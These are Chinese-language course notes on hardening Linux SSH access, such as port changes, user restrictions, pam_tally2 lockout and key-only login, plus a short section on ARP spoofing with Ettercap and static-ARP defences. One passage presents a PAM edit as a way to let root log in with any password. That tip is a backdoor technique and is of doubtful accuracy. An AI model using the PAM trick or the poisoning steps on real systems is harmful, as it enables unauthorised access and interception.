    1. useradd shell【推薦】 [root@tianyun ~]# useradd yangge -s /sbin/nologin2. 密碼的復雜性【推薦】 字母大小寫+數字+特殊字符+20位以上+定期更換3. 修改默認端口【推薦】 /etc/ssh/sshd_config Port 222224. 限止登錄的用戶或組【推薦】 #PermitRootLogin yes AllowUser yangge[root@tianyun ~]# man sshd_config AllowUsers AllowGroups DenyUsers DenyGroups使用sudo【推薦】5.設置允許的IP訪問【可選】 /etc/hosts.allow ,例如sshd:192.168.106.167:allow PAM基于IP限制 iptables/firewalld 只能允許從堡壘機6. 使用DenyHosts自動統計,并將其加入到/etc/hosts.deny7. 基于PAM實現登錄限制【推薦】 模塊:pam_tally2.so 功能:登錄統計 示例:實現防止對sshd暴力破解 [root@tianyun ~]# grep tally2 /etc/pam.d/sshd auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=68. 禁用密碼改用公鑰方式認證 /etc/ssh/sshd_config PasswordAuthentication no9. 保護xshell導出會話文件【小心】10.GRUB加密【針對本地破解】

    在文件 /etc/pam.d/su 中加入 auth sufficient pam rootok.so
    那么只要用 root 用戶進行ssh登錄,密碼隨便亂輸入也能登陸

    十、中間人攻擊及防御

    中間人攻擊也叫ARP 欺騙 、ARP 毒化

    kali 攻擊工具:Ettercap
    ettercap -G (打開GUI界面)
    搜索主機

    添加需要毒化的主機



    開始毒化

    再arp -a查看網關的 ip地址 對應的 mac地址是否被改變

    防御:

    linux系統下的配置
    設置永久靜態MAC地址:
    arp -s IP地址 MAC地址
    arp -s 192.168.1.22 00-aa-00-62-e5-6c

    Windows系統下的配置
    設置臨時靜態MAC地址 :
    arp -s IP地址 MAC地址
    arp -s 192.168.1.200 00-aa-00-62-c6-09

    設置永久靜態MAC地址:
    DOS界面下,輸入命令 netsh ii show in ,查看本地網卡對應的"Idx"值
    (netsh i i show in 為 netsh interface ipv4 show interfaces 的縮寫)

    綁定靜態mac地址
    netsh -c i i ad ne 14 10.30.162.1 cc-2d-e0-1e-43-99 store=persistent

    刪除之前綁定的ARP表項
    netsh -c "i i" delete neighbors 14(14為之前的idx值)

    總結

    以上是生活随笔為你收集整理的B站 - 黑客攻防 入门到入狱 [网络安全] -笔记的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。